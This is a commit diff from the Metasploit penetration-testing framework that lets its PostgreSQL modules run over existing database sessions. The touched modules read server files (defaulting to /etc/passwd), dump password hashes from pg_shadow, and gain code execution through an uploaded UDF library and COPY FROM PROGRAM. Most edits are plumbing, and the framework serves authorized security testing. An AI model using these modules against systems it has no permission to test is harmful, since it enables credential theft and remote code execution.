Use PostgreSQL session type for modules
This commit is contained in:
parent
9caa2fac17
commit
30fc29e0f5
|
@ -88,11 +88,6 @@ module Exploit::Remote::Postgres
|
|||
# @return [:error] if some other error occurred
|
||||
# @return [:connected] if everything went as planned
|
||||
def postgres_login(opts={})
|
||||
unless defined?(session).nil? || session.nil?
|
||||
self.postgres_conn = session.client
|
||||
return :connected
|
||||
end
|
||||
|
||||
postgres_logout if self.postgres_conn
|
||||
db = opts[:database] || datastore['DATABASE']
|
||||
username = opts[:username] || datastore['USERNAME']
|
||||
|
@ -125,7 +120,7 @@ module Exploit::Remote::Postgres
|
|||
return :connection_refused
|
||||
end
|
||||
if self.postgres_conn
|
||||
print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
||||
print_good "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
|
||||
return :connected
|
||||
end
|
||||
end
|
||||
|
@ -134,20 +129,15 @@ module Exploit::Remote::Postgres
|
|||
#
|
||||
# @return [void]
|
||||
def postgres_logout
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
ip = self.postgres_conn.address
|
||||
port = self.postgres_conn.port
|
||||
verbose = datastore['VERBOSE']
|
||||
# Don't log out if we are using a session.
|
||||
if defined?(session) && session
|
||||
print_status "#{ip}:#{port} Postgres - Skipping disconnecting from the session" if verbose
|
||||
return
|
||||
end
|
||||
|
||||
if self.postgres_conn
|
||||
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
|
||||
self.postgres_conn = nil
|
||||
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
||||
end
|
||||
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
|
||||
end
|
||||
|
||||
# If not currently connected, attempt to connect. If an
|
||||
|
@ -158,17 +148,16 @@ module Exploit::Remote::Postgres
|
|||
# @param doprint [Boolean] Whether the result should be printed
|
||||
# @return [Hash]
|
||||
def postgres_query(sql=nil,doprint=false)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
unless self.postgres_conn
|
||||
result = postgres_login
|
||||
unless result == :connected
|
||||
return { :conn_error => result }
|
||||
return { conn_error: result }
|
||||
end
|
||||
end
|
||||
|
||||
if self.postgres_conn
|
||||
sql ||= datastore['SQL']
|
||||
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
|
||||
vprint_status "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - querying with '#{sql}'"
|
||||
begin
|
||||
resp = self.postgres_conn.query(sql)
|
||||
rescue RuntimeError => e
|
||||
|
@ -202,12 +191,11 @@ module Exploit::Remote::Postgres
|
|||
# Otherwise, create a rowset using Rex::Text::Table (if there's
|
||||
# more than 0 rows) and return :complete.
|
||||
def postgres_print_reply(resp=nil,sql=nil)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
verbose = datastore['VERBOSE']
|
||||
return :error unless resp.kind_of? Connection::Result
|
||||
|
||||
if resp.rows and resp.fields
|
||||
print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
|
||||
print_status "#{postgres_conn.address}:#{postgres_conn.port} Rows Returned: #{resp.rows.size}" if verbose
|
||||
if resp.rows.size > 0
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => 4,
|
||||
|
|
|
@ -29,6 +29,7 @@ module Msf::OptionalSession
|
|||
Msf::Opt::RPORT(3306, false)
|
||||
]
|
||||
)
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
end
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE)
|
||||
|
@ -37,8 +38,11 @@ module Msf::OptionalSession
|
|||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']),
|
||||
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(5432, false)
|
||||
]
|
||||
)
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
end
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)
|
||||
|
|
|
@ -121,6 +121,14 @@ class Connection
|
|||
end
|
||||
end
|
||||
|
||||
def address
|
||||
@conn.peerhost
|
||||
end
|
||||
|
||||
def port
|
||||
@conn.peerport
|
||||
end
|
||||
|
||||
def close
|
||||
raise "connection already closed" if @conn.nil?
|
||||
@conn.shutdown
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::OptionalSession
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -17,13 +18,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
as well as read privileges to the target file.
|
||||
},
|
||||
'Author' => [ 'todb' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd'])
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options( 'SQL', 'RETURN_ROWSET' )
|
||||
end
|
||||
|
@ -37,6 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
self.postgres_conn = session.client if session
|
||||
ret = postgres_read_textfile(datastore['RFILE'])
|
||||
case ret.keys[0]
|
||||
when :conn_error
|
||||
|
@ -44,13 +48,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
when :sql_error
|
||||
case ret[:sql_error]
|
||||
when /^C58P01/
|
||||
print_error "#{rhost}:#{rport} Postgres - No such file or directory."
|
||||
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - No such file or directory."
|
||||
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||
when /^C42501/
|
||||
print_error "#{rhost}:#{rport} Postgres - Insufficient file permissions."
|
||||
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient file permissions."
|
||||
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||
else
|
||||
print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||
end
|
||||
when :complete
|
||||
loot = ''
|
||||
|
@ -59,10 +63,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
loot << row.first
|
||||
}
|
||||
# No idea what the actual ctype will be, text/plain is just a guess
|
||||
path = store_loot('postgres.file', 'text/plain', rhost, loot, datastore['RFILE'])
|
||||
print_good("#{rhost}:#{rport} Postgres - #{datastore['RFILE']} saved in #{path}")
|
||||
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
|
||||
path = store_loot('postgres.file', 'text/plain', postgres_conn.address, loot, datastore['RFILE'])
|
||||
print_good("#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{datastore['RFILE']} saved in #{path}")
|
||||
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete."
|
||||
end
|
||||
postgres_logout if self.postgres_conn
|
||||
postgres_logout if self.postgres_conn && session.blank?
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::OptionalSession
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -18,10 +19,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'References' =>
|
||||
[
|
||||
[ 'URL', 'www.postgresql.org' ]
|
||||
]
|
||||
],
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
))
|
||||
|
||||
#register_options( [ ], self.class) # None needed.
|
||||
end
|
||||
|
||||
def auxiliary_commands
|
||||
|
@ -42,15 +42,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
self.postgres_conn = session.client if session
|
||||
ret = postgres_query(datastore['SQL'],datastore['RETURN_ROWSET'])
|
||||
case ret.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
||||
when :sql_error
|
||||
print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
|
||||
when :complete
|
||||
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
|
||||
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete."
|
||||
end
|
||||
postgres_logout if self.postgres_conn
|
||||
postgres_logout if self.postgres_conn && session.blank?
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::OptionalSession
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
@ -16,23 +17,34 @@ class MetasploitModule < Msf::Auxiliary
|
|||
hashes from a Postgres server and stores them for later cracking.
|
||||
},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
)
|
||||
register_options([
|
||||
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
|
||||
])
|
||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
def username
|
||||
session ? session.client.params['username'] : datastore['USERNAME']
|
||||
end
|
||||
|
||||
def database
|
||||
session ? session.client.params['database'] : datastore['DATABASE']
|
||||
end
|
||||
|
||||
def password
|
||||
# The session or its client doesn't store the password
|
||||
session ? nil : datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
self.postgres_conn = session.client if session
|
||||
# Query the Postgres Shadow table for username and password hashes and report them
|
||||
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
|
||||
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
address: postgres_conn.address,
|
||||
port: postgres_conn.port,
|
||||
service_name: 'postgres',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
|
@ -41,11 +53,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: datastore['PASSWORD'],
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: datastore['USERNAME'],
|
||||
username: username,
|
||||
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
|
||||
realm_value: datastore['DATABASE']
|
||||
realm_value: database
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
@ -68,10 +80,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
case res[:sql_error]
|
||||
when /^C42501/
|
||||
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions."
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient permissions."
|
||||
return
|
||||
else
|
||||
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{res[:sql_error]}"
|
||||
return
|
||||
end
|
||||
when :complete
|
||||
|
@ -96,8 +108,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
)
|
||||
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(rhost,true),
|
||||
port: rport,
|
||||
address: postgres_conn.address,
|
||||
port: postgres_conn.port,
|
||||
service_name: 'postgres',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
|
@ -133,6 +145,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
print_good("#{tbl.to_s}")
|
||||
|
||||
postgres_logout if self.postgres_conn && session.blank?
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -28,7 +28,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_host(_ip)
|
||||
print_status 'When targeting a session, only the current database can be dumped.' if session
|
||||
if session
|
||||
print_status 'When targeting a session, only the current database can be dumped.'
|
||||
self.postgres_conn = session.client
|
||||
end
|
||||
|
||||
pg_schema = get_schema
|
||||
pg_schema.each do |db|
|
||||
report_note(
|
||||
|
@ -70,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
tmp_db = {}
|
||||
tmp_db['DBName'] = database_name
|
||||
tmp_db['Tables'] = []
|
||||
postgres_login({ database: database_name })
|
||||
postgres_login({ database: database_name }) unless session
|
||||
tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);")
|
||||
if tmp_tblnames && !tmp_tblnames.empty?
|
||||
tmp_tblnames.each do |tbl_row|
|
||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::OptionalSession
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
|
@ -20,7 +21,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.postgresql.org/' ]
|
||||
]
|
||||
],
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
))
|
||||
|
||||
register_options([ ]) # None needed.
|
||||
|
@ -31,6 +33,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# Loops through each host in turn. Note the current IP address is both
|
||||
# ip and datastore['RHOST']
|
||||
def run_host(ip)
|
||||
self.postgres_conn = session.client if session
|
||||
user = datastore['USERNAME']
|
||||
pass = postgres_password
|
||||
do_fingerprint(user,pass,datastore['DATABASE'])
|
||||
|
@ -76,34 +79,34 @@ class MetasploitModule < Msf::Auxiliary
|
|||
begin
|
||||
msg = "#{rhost}:#{rport} Postgres -"
|
||||
password = pass || postgres_password
|
||||
vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
|
||||
vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") unless postgres_conn
|
||||
result = postgres_fingerprint(
|
||||
:db => database,
|
||||
:username => user,
|
||||
:password => password
|
||||
)
|
||||
if result[:auth]
|
||||
vprint_good "#{rhost}:#{rport} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'"
|
||||
print_status "#{rhost}:#{rport} Postgres - Version #{result[:auth]} (Post-Auth)"
|
||||
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'" unless session
|
||||
print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:auth]} (Post-Auth)"
|
||||
elsif result[:preauth]
|
||||
print_good "#{rhost}:#{rport} Postgres - Version #{result[:preauth]} (Pre-Auth)"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:preauth]} (Pre-Auth)"
|
||||
else # It's something we don't know yet
|
||||
vprint_status "#{rhost}:#{rport} Postgres - Authentication Error Fingerprint: #{result[:unknown]}"
|
||||
print_status "#{rhost}:#{rport} Postgres - Version Unknown (Pre-Auth)"
|
||||
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Authentication Error Fingerprint: #{result[:unknown]}"
|
||||
print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version Unknown (Pre-Auth)"
|
||||
end
|
||||
|
||||
# Reporting
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:host => postgres_conn.address,
|
||||
:port => postgres_conn.port,
|
||||
:name => "postgres",
|
||||
:info => result.values.first
|
||||
)
|
||||
|
||||
if self.postgres_conn
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
ip: postgres_conn.address,
|
||||
port: postgres_conn.port,
|
||||
service_name: 'postgres',
|
||||
user: user,
|
||||
password: password,
|
||||
|
@ -113,17 +116,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
if result[:unknown]
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:host => postgres_conn.address,
|
||||
:proto => 'tcp',
|
||||
:sname => 'postgres',
|
||||
:port => rport,
|
||||
:port => postgres_conn.port,
|
||||
:ntype => 'postgresql.fingerprint',
|
||||
:data => "Unknown Pre-Auth fingerprint: #{result[:unknown]}"
|
||||
)
|
||||
end
|
||||
|
||||
# Logout
|
||||
postgres_logout
|
||||
postgres_logout if self.postgres_conn && session.blank?
|
||||
|
||||
rescue Rex::ConnectionError
|
||||
vprint_error "#{rhost}:#{rport} Connection Error: #{$!}"
|
||||
|
|
|
@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::OptionalSession
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
|
@ -66,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2007-06-05'
|
||||
|
||||
'DisclosureDate' => '2007-06-05',
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
))
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET')
|
||||
|
@ -85,12 +86,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
self.postgres_conn = session.client if session
|
||||
|
||||
version = do_login(username,password,database)
|
||||
case version
|
||||
when :noauth; print_error "Authentication failed"; return
|
||||
when :noconn; print_error "Connection failed"; return
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{version}")
|
||||
print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}")
|
||||
end
|
||||
|
||||
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
||||
|
@ -111,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
rescue RuntimeError => e
|
||||
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
postgres_logout if @postgres_conn && session.blank?
|
||||
|
||||
end
|
||||
|
||||
|
@ -121,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def do_login(user=nil,pass=nil,database=nil)
|
||||
begin
|
||||
password = pass || postgres_password
|
||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
|
||||
result = postgres_fingerprint(
|
||||
:db => database,
|
||||
:username => user,
|
||||
|
@ -129,8 +132,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
)
|
||||
if result[:auth]
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:host => postgres_conn.address,
|
||||
:port => postgres_conn.port,
|
||||
:name => "postgres",
|
||||
:info => result.values.first
|
||||
)
|
||||
|
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::OptionalSession
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -72,11 +73,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => '2019-03-20'
|
||||
'DisclosureDate' => '2019-03-20',
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(5432),
|
||||
OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
|
||||
OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
|
||||
])
|
||||
|
@ -98,12 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
version = postgres_fingerprint
|
||||
return false unless version[:auth]
|
||||
vprint_status version[:auth].to_s
|
||||
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first
|
||||
if Rex::Version.new(version_full) >= Rex::Version.new('9.3')
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
|
||||
Rex::Version.new(version_full) >= Rex::Version.new('9.3')
|
||||
end
|
||||
|
||||
def login_success?
|
||||
|
@ -127,15 +124,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
drop_query = postgres_query(query)
|
||||
case drop_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - #{tablename} dropped successfully"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully"
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -144,15 +141,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
create_query = postgres_query(query)
|
||||
case create_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - #{tablename} created successfully"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} created successfully"
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -162,20 +159,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
copy_query = postgres_query(query)
|
||||
case copy_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
if copy_query[:sql_error].match? 'execution expired'
|
||||
print_warning 'Timed out. The function was potentially executed.'
|
||||
return true
|
||||
end
|
||||
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||
if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
|
||||
print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
|
||||
return false
|
||||
end
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} copied successfully(valid syntax/command)"
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -185,16 +186,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
select_query = postgres_query(query)
|
||||
case select_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - #{tablename} contents:\n#{select_query}"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} contents:\n#{select_query}"
|
||||
return true
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -203,15 +204,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
drop_query = postgres_query(query)
|
||||
case drop_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_warning "#{peer} - Unable to execute query: #{query}"
|
||||
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully(Cleaned)"
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -235,8 +236,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
#vuln_version doesn't seem to work
|
||||
#return unless vuln_version?
|
||||
self.postgres_conn = session.client if session
|
||||
return unless vuln_version?
|
||||
return unless login_success?
|
||||
print_status("Exploiting...")
|
||||
if execute_payload
|
||||
|
@ -244,6 +245,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
else
|
||||
print_error("Exploit Failed")
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
postgres_logout if @postgres_conn && session.blank?
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::OptionalSession
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -46,13 +47,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['Automatic', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2016-01-01'
|
||||
'DisclosureDate' => '2016-01-01',
|
||||
'SessionTypes' => %w[PostgreSQL]
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(5432)
|
||||
])
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||
end
|
||||
|
||||
|
@ -69,11 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
|
||||
|
||||
if Rex::Version.new(version_full) >= Rex::Version.new('8.0')
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
Rex::Version.new(version_full) >= Rex::Version.new('8.0')
|
||||
end
|
||||
|
||||
def login_success?
|
||||
|
@ -86,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_error "#{peer} - Connection failed"
|
||||
return false
|
||||
else
|
||||
print_status "#{peer} - #{status}"
|
||||
print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{status}"
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
@ -94,16 +88,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def load_extension?(language)
|
||||
case load_procedural_language(language, 'LANGUAGE')
|
||||
when :exists
|
||||
print_good "#{peer} - #{language} is already loaded, continuing"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} is already loaded, continuing"
|
||||
return true
|
||||
when :loaded
|
||||
print_good "#{peer} - #{language} was successfully loaded, continuing"
|
||||
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} was successfully loaded, continuing"
|
||||
return true
|
||||
when :not_exists
|
||||
print_status "#{peer} - #{language} could not be loaded"
|
||||
print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{language} could not be loaded"
|
||||
return false
|
||||
else
|
||||
vprint_error "#{peer} - error occurred loading #{language}"
|
||||
